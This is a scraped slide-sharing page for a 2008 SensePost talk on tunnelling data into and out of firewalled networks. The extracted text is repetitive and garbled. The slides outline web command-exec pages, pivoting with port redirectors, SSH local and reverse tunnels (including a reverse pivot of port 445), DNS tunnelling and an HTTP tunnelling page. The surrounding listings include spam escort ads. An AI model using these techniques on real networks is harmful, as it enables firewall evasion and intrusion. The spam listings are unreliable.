Uncloaking IP Addresses on IRCUncloaking IP Addresses on IRC
Uncloaking IP Addresses on IRC
 
Get rid of TLS certificates - using IPSec for large scale cloud protection
Get rid of TLS certificates - using IPSec for large scale cloud protectionGet rid of TLS certificates - using IPSec for large scale cloud protection
Get rid of TLS certificates - using IPSec for large scale cloud protection
 
APRICOT 2015 - NetConf for Peering Automation
APRICOT 2015 - NetConf for Peering AutomationAPRICOT 2015 - NetConf for Peering Automation
APRICOT 2015 - NetConf for Peering Automation
 
CNIT 141: 5. Stream Ciphers
CNIT 141: 5. Stream CiphersCNIT 141: 5. Stream Ciphers
CNIT 141: 5. Stream Ciphers
 
SRX Automation at Groupon
SRX Automation at GrouponSRX Automation at Groupon
SRX Automation at Groupon
 
Bitcoin Keys, Addresses & Wallets
Bitcoin Keys, Addresses & WalletsBitcoin Keys, Addresses & Wallets
Bitcoin Keys, Addresses & Wallets
 
NBTC#2 - Why instrumentation is cooler then ice
NBTC#2 - Why instrumentation is cooler then iceNBTC#2 - Why instrumentation is cooler then ice
NBTC#2 - Why instrumentation is cooler then ice
 
Kamailio - Load Balancing Load Balancers
Kamailio - Load Balancing Load BalancersKamailio - Load Balancing Load Balancers
Kamailio - Load Balancing Load Balancers
 
Cilium - Fast IPv6 Container Networking with BPF and XDP
Cilium - Fast IPv6 Container Networking with BPF and XDPCilium - Fast IPv6 Container Networking with BPF and XDP
Cilium - Fast IPv6 Container Networking with BPF and XDP
 
Practical rsa padding oracle attacks
Practical rsa padding oracle attacksPractical rsa padding oracle attacks
Practical rsa padding oracle attacks
 
When DevOps and Networking Intersect by Brent Salisbury of socketplane.io
When DevOps and Networking Intersect by Brent Salisbury of socketplane.ioWhen DevOps and Networking Intersect by Brent Salisbury of socketplane.io
When DevOps and Networking Intersect by Brent Salisbury of socketplane.io
 
CNIT 141: 1. Encryption
CNIT 141: 1. EncryptionCNIT 141: 1. Encryption
CNIT 141: 1. Encryption
 
CNIT 141 8. Authenticated Encryption
CNIT 141 8. Authenticated EncryptionCNIT 141 8. Authenticated Encryption
CNIT 141 8. Authenticated Encryption
 
03 sockets
03 sockets03 sockets
03 sockets
 

Destacado

Clobbering the Cloud
Clobbering the CloudClobbering the Cloud
Clobbering the CloudSensePost
 
The game has changed
The game has changedThe game has changed
The game has changedSensePost
 
Setiri : Advances in trojan technology
Setiri : Advances in trojan technologySetiri : Advances in trojan technology
Setiri : Advances in trojan technologySensePost
 
Its Ok To Get Hacked
Its Ok To Get HackedIts Ok To Get Hacked
Its Ok To Get HackedSensePost
 
Cybercrime future perspectives
Cybercrime future perspectivesCybercrime future perspectives
Cybercrime future perspectivesSensePost
 
Major global information security trends - a summary
Major global information security trends - a  summaryMajor global information security trends - a  summary
Major global information security trends - a summarySensePost
 

Destacado (6)

Clobbering the Cloud
Clobbering the CloudClobbering the Cloud
Clobbering the Cloud
 
The game has changed
The game has changedThe game has changed
The game has changed
 
Setiri : Advances in trojan technology
Setiri : Advances in trojan technologySetiri : Advances in trojan technology
Setiri : Advances in trojan technology
 
Its Ok To Get Hacked
Its Ok To Get HackedIts Ok To Get Hacked
Its Ok To Get Hacked
 
Cybercrime future perspectives
Cybercrime future perspectivesCybercrime future perspectives
Cybercrime future perspectives
 
Major global information security trends - a summary
Major global information security trends - a  summaryMajor global information security trends - a  summary
Major global information security trends - a summary
 

Similar a Pushing a camel through the eye of a needle

Shmoocon Epilogue 2013 - Ruining security models with SSH
Shmoocon Epilogue 2013 - Ruining security models with SSHShmoocon Epilogue 2013 - Ruining security models with SSH
Shmoocon Epilogue 2013 - Ruining security models with SSHAndrew Morris
 
Bh fed-03-kaminsky
Bh fed-03-kaminskyBh fed-03-kaminsky
Bh fed-03-kaminskyDan Kaminsky
 
LCA2014 - Introduction to Go
LCA2014 - Introduction to GoLCA2014 - Introduction to Go
LCA2014 - Introduction to Godreamwidth
 
Trick or XFLTReaT a.k.a. Tunnel All The Things
Trick or XFLTReaT a.k.a. Tunnel All The ThingsTrick or XFLTReaT a.k.a. Tunnel All The Things
Trick or XFLTReaT a.k.a. Tunnel All The ThingsBalazs Bucsay
 
How to Prevent DHCP Spoofing
How to Prevent DHCP SpoofingHow to Prevent DHCP Spoofing
How to Prevent DHCP SpoofingKHNOG
 
SSH Tunnel-Fu [NoVaH 2011]
SSH Tunnel-Fu [NoVaH 2011]SSH Tunnel-Fu [NoVaH 2011]
SSH Tunnel-Fu [NoVaH 2011]Vincent Batts
 
Using Secure Shell on Linux: What Everyone Should Know
Using Secure Shell on Linux: What Everyone Should KnowUsing Secure Shell on Linux: What Everyone Should Know
Using Secure Shell on Linux: What Everyone Should KnowNovell
 
XFLTReaT: A New Dimension in Tunneling (Shakacon 2017)
XFLTReaT: A New Dimension in Tunneling (Shakacon 2017)XFLTReaT: A New Dimension in Tunneling (Shakacon 2017)
XFLTReaT: A New Dimension in Tunneling (Shakacon 2017)Balazs Bucsay
 
XFLTReaT: a new dimension in tunnelling (BruCON 0x09 2017)
XFLTReaT: a new dimension in tunnelling (BruCON 0x09 2017)XFLTReaT: a new dimension in tunnelling (BruCON 0x09 2017)
XFLTReaT: a new dimension in tunnelling (BruCON 0x09 2017)Balazs Bucsay
 
Balázs Bucsay - XFLTReaT: Building a Tunnel
Balázs Bucsay - XFLTReaT: Building a TunnelBalázs Bucsay - XFLTReaT: Building a Tunnel
Balázs Bucsay - XFLTReaT: Building a Tunnelhacktivity
 
Setting Up .Onion Addresses for your Enterprise, v3.5
Setting Up .Onion Addresses for your Enterprise, v3.5Setting Up .Onion Addresses for your Enterprise, v3.5
Setting Up .Onion Addresses for your Enterprise, v3.5Alec Muffett
 
XFLTReat: a new dimension in tunnelling
XFLTReat:  a new dimension in tunnellingXFLTReat:  a new dimension in tunnelling
XFLTReat: a new dimension in tunnellingShakacon
 
For the Greater Good: Leveraging VMware's RPC Interface for fun and profit by...
For the Greater Good: Leveraging VMware's RPC Interface for fun and profit by...For the Greater Good: Leveraging VMware's RPC Interface for fun and profit by...
For the Greater Good: Leveraging VMware's RPC Interface for fun and profit by...CODE BLUE
 
Network Test Automation - Net Ops Coding 2015
Network Test Automation - Net Ops Coding 2015Network Test Automation - Net Ops Coding 2015
Network Test Automation - Net Ops Coding 2015Hiroshi Ota
 
Breaking Smart Speakers: We are Listening to You.
Breaking Smart Speakers: We are Listening to You.Breaking Smart Speakers: We are Listening to You.
Breaking Smart Speakers: We are Listening to You.Priyanka Aash
 
Practical IoT Exploitation (DEFCON23 IoTVillage) - Lyon Yang
Practical IoT Exploitation (DEFCON23 IoTVillage) - Lyon YangPractical IoT Exploitation (DEFCON23 IoTVillage) - Lyon Yang
Practical IoT Exploitation (DEFCON23 IoTVillage) - Lyon YangLyon Yang
 
Find the Hacker
Find the HackerFind the Hacker
Find the HackerSysdig
 
XFLTReaT: A New Dimension In Tunnelling (DeepSec 2017)
XFLTReaT: A New Dimension In Tunnelling (DeepSec 2017)XFLTReaT: A New Dimension In Tunnelling (DeepSec 2017)
XFLTReaT: A New Dimension In Tunnelling (DeepSec 2017)Balazs Bucsay
 
DEFCON 22: Bypass firewalls, application white lists, secure remote desktops ...
DEFCON 22: Bypass firewalls, application white lists, secure remote desktops ...DEFCON 22: Bypass firewalls, application white lists, secure remote desktops ...
DEFCON 22: Bypass firewalls, application white lists, secure remote desktops ...Zoltan Balazs
 
ProjectTox: Free as in freedom Skype replacement
ProjectTox: Free as in freedom Skype replacementProjectTox: Free as in freedom Skype replacement
ProjectTox: Free as in freedom Skype replacementWei-Ning Huang
 

Similar a Pushing a camel through the eye of a needle (20)

Shmoocon Epilogue 2013 - Ruining security models with SSH
Shmoocon Epilogue 2013 - Ruining security models with SSHShmoocon Epilogue 2013 - Ruining security models with SSH
Shmoocon Epilogue 2013 - Ruining security models with SSH
 
Bh fed-03-kaminsky
Bh fed-03-kaminskyBh fed-03-kaminsky
Bh fed-03-kaminsky
 
LCA2014 - Introduction to Go
LCA2014 - Introduction to GoLCA2014 - Introduction to Go
LCA2014 - Introduction to Go
 
Trick or XFLTReaT a.k.a. Tunnel All The Things
Trick or XFLTReaT a.k.a. Tunnel All The ThingsTrick or XFLTReaT a.k.a. Tunnel All The Things
Trick or XFLTReaT a.k.a. Tunnel All The Things
 
How to Prevent DHCP Spoofing
How to Prevent DHCP SpoofingHow to Prevent DHCP Spoofing
How to Prevent DHCP Spoofing
 
SSH Tunnel-Fu [NoVaH 2011]
SSH Tunnel-Fu [NoVaH 2011]SSH Tunnel-Fu [NoVaH 2011]
SSH Tunnel-Fu [NoVaH 2011]
 
Using Secure Shell on Linux: What Everyone Should Know
Using Secure Shell on Linux: What Everyone Should KnowUsing Secure Shell on Linux: What Everyone Should Know
Using Secure Shell on Linux: What Everyone Should Know
 
XFLTReaT: A New Dimension in Tunneling (Shakacon 2017)
XFLTReaT: A New Dimension in Tunneling (Shakacon 2017)XFLTReaT: A New Dimension in Tunneling (Shakacon 2017)
XFLTReaT: A New Dimension in Tunneling (Shakacon 2017)
 
XFLTReaT: a new dimension in tunnelling (BruCON 0x09 2017)
XFLTReaT: a new dimension in tunnelling (BruCON 0x09 2017)XFLTReaT: a new dimension in tunnelling (BruCON 0x09 2017)
XFLTReaT: a new dimension in tunnelling (BruCON 0x09 2017)
 
Balázs Bucsay - XFLTReaT: Building a Tunnel
Balázs Bucsay - XFLTReaT: Building a TunnelBalázs Bucsay - XFLTReaT: Building a Tunnel
Balázs Bucsay - XFLTReaT: Building a Tunnel
 
Setting Up .Onion Addresses for your Enterprise, v3.5
Setting Up .Onion Addresses for your Enterprise, v3.5Setting Up .Onion Addresses for your Enterprise, v3.5
Setting Up .Onion Addresses for your Enterprise, v3.5
 
XFLTReat: a new dimension in tunnelling
XFLTReat:  a new dimension in tunnellingXFLTReat:  a new dimension in tunnelling
XFLTReat: a new dimension in tunnelling
 
For the Greater Good: Leveraging VMware's RPC Interface for fun and profit by...
For the Greater Good: Leveraging VMware's RPC Interface for fun and profit by...For the Greater Good: Leveraging VMware's RPC Interface for fun and profit by...
For the Greater Good: Leveraging VMware's RPC Interface for fun and profit by...
 
Network Test Automation - Net Ops Coding 2015
Network Test Automation - Net Ops Coding 2015Network Test Automation - Net Ops Coding 2015
Network Test Automation - Net Ops Coding 2015
 
Breaking Smart Speakers: We are Listening to You.
Breaking Smart Speakers: We are Listening to You.Breaking Smart Speakers: We are Listening to You.
Breaking Smart Speakers: We are Listening to You.
 
Practical IoT Exploitation (DEFCON23 IoTVillage) - Lyon Yang
Practical IoT Exploitation (DEFCON23 IoTVillage) - Lyon YangPractical IoT Exploitation (DEFCON23 IoTVillage) - Lyon Yang
Practical IoT Exploitation (DEFCON23 IoTVillage) - Lyon Yang
 
Find the Hacker
Find the HackerFind the Hacker
Find the Hacker
 
XFLTReaT: A New Dimension In Tunnelling (DeepSec 2017)
XFLTReaT: A New Dimension In Tunnelling (DeepSec 2017)XFLTReaT: A New Dimension In Tunnelling (DeepSec 2017)
XFLTReaT: A New Dimension In Tunnelling (DeepSec 2017)
 
DEFCON 22: Bypass firewalls, application white lists, secure remote desktops ...
DEFCON 22: Bypass firewalls, application white lists, secure remote desktops ...DEFCON 22: Bypass firewalls, application white lists, secure remote desktops ...
DEFCON 22: Bypass firewalls, application white lists, secure remote desktops ...
 
ProjectTox: Free as in freedom Skype replacement
ProjectTox: Free as in freedom Skype replacementProjectTox: Free as in freedom Skype replacement
ProjectTox: Free as in freedom Skype replacement
 

Más de SensePost

objection - runtime mobile exploration
objection - runtime mobile explorationobjection - runtime mobile exploration
objection - runtime mobile explorationSensePost
 
Vulnerabilities in TN3270 based Application
Vulnerabilities in TN3270 based ApplicationVulnerabilities in TN3270 based Application
Vulnerabilities in TN3270 based ApplicationSensePost
 
Ruler and Liniaal @ Troopers 17
Ruler and Liniaal @ Troopers 17Ruler and Liniaal @ Troopers 17
Ruler and Liniaal @ Troopers 17SensePost
 
Introducing (DET) the Data Exfiltration Toolkit
Introducing (DET) the Data Exfiltration ToolkitIntroducing (DET) the Data Exfiltration Toolkit
Introducing (DET) the Data Exfiltration ToolkitSensePost
 
ZaCon 2015 - Zombie Mana Attacks
ZaCon 2015 - Zombie Mana AttacksZaCon 2015 - Zombie Mana Attacks
ZaCon 2015 - Zombie Mana AttacksSensePost
 
Improvement in Rogue Access Points - SensePost Defcon 22
Improvement in Rogue Access Points - SensePost Defcon 22Improvement in Rogue Access Points - SensePost Defcon 22
Improvement in Rogue Access Points - SensePost Defcon 22SensePost
 
Heartbleed Overview
Heartbleed OverviewHeartbleed Overview
Heartbleed OverviewSensePost
 
Botconf 2013 - DNS-based Botnet C2 Server Detection
Botconf 2013 - DNS-based Botnet C2 Server DetectionBotconf 2013 - DNS-based Botnet C2 Server Detection
Botconf 2013 - DNS-based Botnet C2 Server DetectionSensePost
 
Rat a-tat-tat
Rat a-tat-tatRat a-tat-tat
Rat a-tat-tatSensePost
 
Hacking Z-Wave Home Automation Systems
Hacking Z-Wave Home Automation SystemsHacking Z-Wave Home Automation Systems
Hacking Z-Wave Home Automation SystemsSensePost
 
Offence oriented Defence
Offence oriented DefenceOffence oriented Defence
Offence oriented DefenceSensePost
 
Threats to machine clouds
Threats to machine cloudsThreats to machine clouds
Threats to machine cloudsSensePost
 
Inside .NET Smart Card Operating System
Inside .NET Smart Card Operating SystemInside .NET Smart Card Operating System
Inside .NET Smart Card Operating SystemSensePost
 
SNMP : Simple Network Mediated (Cisco) Pwnage
SNMP : Simple Network Mediated (Cisco) PwnageSNMP : Simple Network Mediated (Cisco) Pwnage
SNMP : Simple Network Mediated (Cisco) PwnageSensePost
 
Web Application Hacking
Web Application HackingWeb Application Hacking
Web Application HackingSensePost
 
Putting the tea back into cyber terrorism
Putting the tea back into cyber terrorismPutting the tea back into cyber terrorism
Putting the tea back into cyber terrorismSensePost
 
Attacks and Defences
Attacks and DefencesAttacks and Defences
Attacks and DefencesSensePost
 
Corporate Threat Modeling v2
Corporate Threat Modeling v2Corporate Threat Modeling v2
Corporate Threat Modeling v2SensePost
 
State of the information security nation
State of the information security nationState of the information security nation
State of the information security nationSensePost
 
OK I'm here, so what's in it for me?
OK I'm here, so what's in it for me?OK I'm here, so what's in it for me?
OK I'm here, so what's in it for me?SensePost
 

Más de SensePost (20)

objection - runtime mobile exploration
objection - runtime mobile explorationobjection - runtime mobile exploration
objection - runtime mobile exploration
 
Vulnerabilities in TN3270 based Application
Vulnerabilities in TN3270 based ApplicationVulnerabilities in TN3270 based Application
Vulnerabilities in TN3270 based Application
 
Ruler and Liniaal @ Troopers 17
Ruler and Liniaal @ Troopers 17Ruler and Liniaal @ Troopers 17
Ruler and Liniaal @ Troopers 17
 
Introducing (DET) the Data Exfiltration Toolkit
Introducing (DET) the Data Exfiltration ToolkitIntroducing (DET) the Data Exfiltration Toolkit
Introducing (DET) the Data Exfiltration Toolkit
 
ZaCon 2015 - Zombie Mana Attacks
ZaCon 2015 - Zombie Mana AttacksZaCon 2015 - Zombie Mana Attacks
ZaCon 2015 - Zombie Mana Attacks
 
Improvement in Rogue Access Points - SensePost Defcon 22
Improvement in Rogue Access Points - SensePost Defcon 22Improvement in Rogue Access Points - SensePost Defcon 22
Improvement in Rogue Access Points - SensePost Defcon 22
 
Heartbleed Overview
Heartbleed OverviewHeartbleed Overview
Heartbleed Overview
 
Botconf 2013 - DNS-based Botnet C2 Server Detection
Botconf 2013 - DNS-based Botnet C2 Server DetectionBotconf 2013 - DNS-based Botnet C2 Server Detection
Botconf 2013 - DNS-based Botnet C2 Server Detection
 
Rat a-tat-tat
Rat a-tat-tatRat a-tat-tat
Rat a-tat-tat
 
Hacking Z-Wave Home Automation Systems
Hacking Z-Wave Home Automation SystemsHacking Z-Wave Home Automation Systems
Hacking Z-Wave Home Automation Systems
 
Offence oriented Defence
Offence oriented DefenceOffence oriented Defence
Offence oriented Defence
 
Threats to machine clouds
Threats to machine cloudsThreats to machine clouds
Threats to machine clouds
 
Inside .NET Smart Card Operating System
Inside .NET Smart Card Operating SystemInside .NET Smart Card Operating System
Inside .NET Smart Card Operating System
 
SNMP : Simple Network Mediated (Cisco) Pwnage
SNMP : Simple Network Mediated (Cisco) PwnageSNMP : Simple Network Mediated (Cisco) Pwnage
SNMP : Simple Network Mediated (Cisco) Pwnage
 
Web Application Hacking
Web Application HackingWeb Application Hacking
Web Application Hacking
 
Putting the tea back into cyber terrorism
Putting the tea back into cyber terrorismPutting the tea back into cyber terrorism
Putting the tea back into cyber terrorism
 
Attacks and Defences
Attacks and DefencesAttacks and Defences
Attacks and Defences
 
Corporate Threat Modeling v2
Corporate Threat Modeling v2Corporate Threat Modeling v2
Corporate Threat Modeling v2
 
State of the information security nation
State of the information security nationState of the information security nation
State of the information security nation
 
OK I'm here, so what's in it for me?
OK I'm here, so what's in it for me?OK I'm here, so what's in it for me?
OK I'm here, so what's in it for me?
 

Último

08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
08448380779 Call Girls In Diplomatic Enclave Women Seeking MenDelhi Call girls
 
Understanding Discord NSFW Servers A Guide for Responsible Users.pdf
Understanding Discord NSFW Servers A Guide for Responsible Users.pdfUnderstanding Discord NSFW Servers A Guide for Responsible Users.pdf
Understanding Discord NSFW Servers A Guide for Responsible Users.pdfUK Journal
 
08448380779 Call Girls In Civil Lines Women Seeking Men
08448380779 Call Girls In Civil Lines Women Seeking Men08448380779 Call Girls In Civil Lines Women Seeking Men
08448380779 Call Girls In Civil Lines Women Seeking MenDelhi Call girls
 
How to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerHow to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerThousandEyes
 
[2024]Digital Global Overview Report 2024 Meltwater.pdf
[2024]Digital Global Overview Report 2024 Meltwater.pdf[2024]Digital Global Overview Report 2024 Meltwater.pdf
[2024]Digital Global Overview Report 2024 Meltwater.pdfhans926745
 
Workshop - Best of Both Worlds_ Combine KG and Vector search for enhanced R...
Workshop - Best of Both Worlds_ Combine  KG and Vector search for  enhanced R...Workshop - Best of Both Worlds_ Combine  KG and Vector search for  enhanced R...
Workshop - Best of Both Worlds_ Combine KG and Vector search for enhanced R...Neo4j
 
08448380779 Call Girls In Friends Colony Women Seeking Men
08448380779 Call Girls In Friends Colony Women Seeking Men08448380779 Call Girls In Friends Colony Women Seeking Men
08448380779 Call Girls In Friends Colony Women Seeking MenDelhi Call girls
 
Handwritten Text Recognition for manuscripts and early printed texts
Handwritten Text Recognition for manuscripts and early printed textsHandwritten Text Recognition for manuscripts and early printed texts
Handwritten Text Recognition for manuscripts and early printed textsMaria Levchenko
 
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...Miguel Araújo
 
What Are The Drone Anti-jamming Systems Technology?
What Are The Drone Anti-jamming Systems Technology?What Are The Drone Anti-jamming Systems Technology?
What Are The Drone Anti-jamming Systems Technology?Antenna Manufacturer Coco
 
Presentation on how to chat with PDF using ChatGPT code interpreter
Presentation on how to chat with PDF using ChatGPT code interpreterPresentation on how to chat with PDF using ChatGPT code interpreter
Presentation on how to chat with PDF using ChatGPT code interpreternaman860154
 
The Codex of Business Writing Software for Real-World Solutions 2.pptx
The Codex of Business Writing Software for Real-World Solutions 2.pptxThe Codex of Business Writing Software for Real-World Solutions 2.pptx
The Codex of Business Writing Software for Real-World Solutions 2.pptxMalak Abu Hammad
 
From Event to Action: Accelerate Your Decision Making with Real-Time Automation
From Event to Action: Accelerate Your Decision Making with Real-Time AutomationFrom Event to Action: Accelerate Your Decision Making with Real-Time Automation
From Event to Action: Accelerate Your Decision Making with Real-Time AutomationSafe Software
 
Real Time Object Detection Using Open CV
Real Time Object Detection Using Open CVReal Time Object Detection Using Open CV
Real Time Object Detection Using Open CVKhem
 
A Year of the Servo Reboot: Where Are We Now?
A Year of the Servo Reboot: Where Are We Now?A Year of the Servo Reboot: Where Are We Now?
A Year of the Servo Reboot: Where Are We Now?Igalia
 
Driving Behavioral Change for Information Management through Data-Driven Gree...
Driving Behavioral Change for Information Management through Data-Driven Gree...Driving Behavioral Change for Information Management through Data-Driven Gree...
Driving Behavioral Change for Information Management through Data-Driven Gree...Enterprise Knowledge
 
Automating Google Workspace (GWS) & more with Apps Script
Automating Google Workspace (GWS) & more with Apps ScriptAutomating Google Workspace (GWS) & more with Apps Script
Automating Google Workspace (GWS) & more with Apps Scriptwesley chun
 
08448380779 Call Girls In Greater Kailash - I Women Seeking Men
08448380779 Call Girls In Greater Kailash - I Women Seeking Men08448380779 Call Girls In Greater Kailash - I Women Seeking Men
08448380779 Call Girls In Greater Kailash - I Women Seeking MenDelhi Call girls
 
The 7 Things I Know About Cyber Security After 25 Years | April 2024
The 7 Things I Know About Cyber Security After 25 Years | April 2024The 7 Things I Know About Cyber Security After 25 Years | April 2024
The 7 Things I Know About Cyber Security After 25 Years | April 2024Rafal Los
 
A Call to Action for Generative AI in 2024
A Call to Action for Generative AI in 2024A Call to Action for Generative AI in 2024
A Call to Action for Generative AI in 2024Results
 

Último (20)

08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
 
Understanding Discord NSFW Servers A Guide for Responsible Users.pdf
Understanding Discord NSFW Servers A Guide for Responsible Users.pdfUnderstanding Discord NSFW Servers A Guide for Responsible Users.pdf
Understanding Discord NSFW Servers A Guide for Responsible Users.pdf
 
08448380779 Call Girls In Civil Lines Women Seeking Men
08448380779 Call Girls In Civil Lines Women Seeking Men08448380779 Call Girls In Civil Lines Women Seeking Men
08448380779 Call Girls In Civil Lines Women Seeking Men
 
How to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerHow to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected Worker
 
[2024]Digital Global Overview Report 2024 Meltwater.pdf
[2024]Digital Global Overview Report 2024 Meltwater.pdf[2024]Digital Global Overview Report 2024 Meltwater.pdf
[2024]Digital Global Overview Report 2024 Meltwater.pdf
 
Workshop - Best of Both Worlds_ Combine KG and Vector search for enhanced R...
Workshop - Best of Both Worlds_ Combine  KG and Vector search for  enhanced R...Workshop - Best of Both Worlds_ Combine  KG and Vector search for  enhanced R...
Workshop - Best of Both Worlds_ Combine KG and Vector search for enhanced R...
 
08448380779 Call Girls In Friends Colony Women Seeking Men
08448380779 Call Girls In Friends Colony Women Seeking Men08448380779 Call Girls In Friends Colony Women Seeking Men
08448380779 Call Girls In Friends Colony Women Seeking Men
 
Handwritten Text Recognition for manuscripts and early printed texts
Handwritten Text Recognition for manuscripts and early printed textsHandwritten Text Recognition for manuscripts and early printed texts
Handwritten Text Recognition for manuscripts and early printed texts
 
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
 
What Are The Drone Anti-jamming Systems Technology?
What Are The Drone Anti-jamming Systems Technology?What Are The Drone Anti-jamming Systems Technology?
What Are The Drone Anti-jamming Systems Technology?
 
Presentation on how to chat with PDF using ChatGPT code interpreter
Presentation on how to chat with PDF using ChatGPT code interpreterPresentation on how to chat with PDF using ChatGPT code interpreter
Presentation on how to chat with PDF using ChatGPT code interpreter
 
The Codex of Business Writing Software for Real-World Solutions 2.pptx
The Codex of Business Writing Software for Real-World Solutions 2.pptxThe Codex of Business Writing Software for Real-World Solutions 2.pptx
The Codex of Business Writing Software for Real-World Solutions 2.pptx
 
From Event to Action: Accelerate Your Decision Making with Real-Time Automation
From Event to Action: Accelerate Your Decision Making with Real-Time AutomationFrom Event to Action: Accelerate Your Decision Making with Real-Time Automation
From Event to Action: Accelerate Your Decision Making with Real-Time Automation
 
Real Time Object Detection Using Open CV
Real Time Object Detection Using Open CVReal Time Object Detection Using Open CV
Real Time Object Detection Using Open CV
 
A Year of the Servo Reboot: Where Are We Now?
A Year of the Servo Reboot: Where Are We Now?A Year of the Servo Reboot: Where Are We Now?
A Year of the Servo Reboot: Where Are We Now?
 
Driving Behavioral Change for Information Management through Data-Driven Gree...
Driving Behavioral Change for Information Management through Data-Driven Gree...Driving Behavioral Change for Information Management through Data-Driven Gree...
Driving Behavioral Change for Information Management through Data-Driven Gree...
 
Automating Google Workspace (GWS) & more with Apps Script
Automating Google Workspace (GWS) & more with Apps ScriptAutomating Google Workspace (GWS) & more with Apps Script
Automating Google Workspace (GWS) & more with Apps Script
 
08448380779 Call Girls In Greater Kailash - I Women Seeking Men
08448380779 Call Girls In Greater Kailash - I Women Seeking Men08448380779 Call Girls In Greater Kailash - I Women Seeking Men
08448380779 Call Girls In Greater Kailash - I Women Seeking Men
 
The 7 Things I Know About Cyber Security After 25 Years | April 2024
The 7 Things I Know About Cyber Security After 25 Years | April 2024The 7 Things I Know About Cyber Security After 25 Years | April 2024
The 7 Things I Know About Cyber Security After 25 Years | April 2024
 
A Call to Action for Generative AI in 2024
A Call to Action for Generative AI in 2024A Call to Action for Generative AI in 2024
A Call to Action for Generative AI in 2024
 

Pushing a camel through the eye of a needle

  • 1. Pushing a Camel through the eye  of the Needle! [Funneling Data in and out of Protected Networks] SensePost 2008
  • 2. About:us • SensePost – Specialist Security firm based in South Africa; – Customers all over the globe; Customers all over the globe; – Talks / Papers / Books  • { {marco,haroon}@sensepost.com h }@ t – Spend most of our time breaking stuff ((thinking  about breaking stuff) or playing foosball!) b t b ki t ff) l i f b ll!) • What this talk is about ? (Hint: not foosball!)
  • 4. A progression of Attacks • A brief trip to the past (1601‐1990) • Un‐firewalled access to victim host • And also un firewalled to rest of the network!  And also un‐firewalled to rest of the network!
  • 5. History (Continued.) History (Continued.) • The Introduction of firewalls The Introduction of firewalls.. • The failure to filter outbound traffic (circa  2000) • CommandExec.[asp|jsp|php|*] {The need for a comfortable Channel}
  • 6. History (Continued.) History (Continued.) • Creating binaries on remote victim. Creating binaries on remote victim • debug.exe and friends • upload.asp ( d f i d ) l d (and friends)  • Win32 Port Binding (1998)
  • 7. Remote Exec (with feeling!) Remote Exec (with feeling!) • We really needed to use the words AJAX and We really needed to use the words AJAX and  XMLHttpRequest object to qualify as a web  2.0 talk. 2 0 talk • We will still add XML, SOAP and a tool with no  vowels in its name  vowels in its name (watch for this!)
  • 8. Time to pivot Time to pivot™ • This stuff is ancient history. • Sp_quickkill • Extreme nc usage • SensePost tcpr / F S P tt / Foundstonefport (Ci 2000) dt f t (Circa 2000) Proxied connection Pivot connects to  Connects to  on port between client and target connection between client and target Listens on port  Listens pivot:55555 55555 target Client Pivot Target Start tcpr • XP and IPV6! • S h tunnel Ssh l
  • 9. SSH Tunnels (a) SSH Tunnels (a) • SSH Tunnels are old hat (too) ( ) • Many people use the familiar –L switch to connect to  other hosts near the box running sshd: Listens on  port 55555 Proxied connectionon connection from Client to Target port Listens from Client to Target port Listens on  Listens on  ssh –L 55555:pivot:25 port 22 port 25 Client Pivot Target • Gives us an encrypted tunnel to our target network..  Pivot runs sshd but this isnt: • A) the problem we set out to solve • B) particularly helpful right now
  • 10. SSH Tunnels (b) SSH Tunnels (b) • Instead lets look at –R • So all we need is an ssh client on the remote  machine, an SSHD on one of ours and we are  , in the game! Listens on  port 55555 port 55555 ssh –R  55555:localmachine Proxy connection from target:55555 to local machine:445 Listens on  Listens on  :445 port 22 port 445 port 445 Local  Client is  Target machine Target runs sshd the Pivot • putty + plink FTW!
  • 11. Interlude (dns2tcp) Interlude (dns2tcp) • Available from: Available from:  http://www.hsc.fr/ressources/outils/dns2tcp/ • Perfect for homes away form home Perfect for homes away form home • Perfect for stealing wifi access
  • 12. A good marriage (sshtun + dnstun) A good marriage (sshtun + dnstun)
  • 13. Layer 2 bridges Layer 2 bridges • If you aren’t going to the network bring the If you aren t going to the network, bring the  network to you • If you’re bridging the network make it If you re bridging the network, make it  protocol independent • R Requires inbound or outbound connection  i i b d b d i ability
  • 14.
  • 15. Layer 2 bridges Layer 2 bridges • Pros – Clean interface to network – Not port or connection dependent, protocol  independent – Simple to setup and use • Cons – Death by firewall – Requires external deps (pcap,libnet) • E Examples l – Tratt by Olleb (www.toolcrypt.org) – MyNetwork by Greg Hoglund (www rootkit com) by Greg Hoglund (www.rootkit.com)
  • 16. A Brief Recap A Brief Recap • We used to be able to hit everything we We used to be able to hit everything we  wanted to. • We were happily redirecting traffic when We were happily redirecting traffic when  firewalls were more forgiving • O b Outbound Access Made us amazingly happy. dA M d i l h • Network level bridging was cool but the rules  are changing.. p y • Can we do this completely over HTTP / / HTTPS?
  • 17. Introducing glenn.jsp Introducing glenn.jsp • (Working title) (Working title) a) We can hit our target on port 80 (or 443) b) Ability to upload / create a web page on the  bili l d/ b h target [example: JMX Console] c) Network level filtering is tight. d) Possible reverse proxies in‐between ) p • [a],[b],[c],[d] meet [one smart intern]
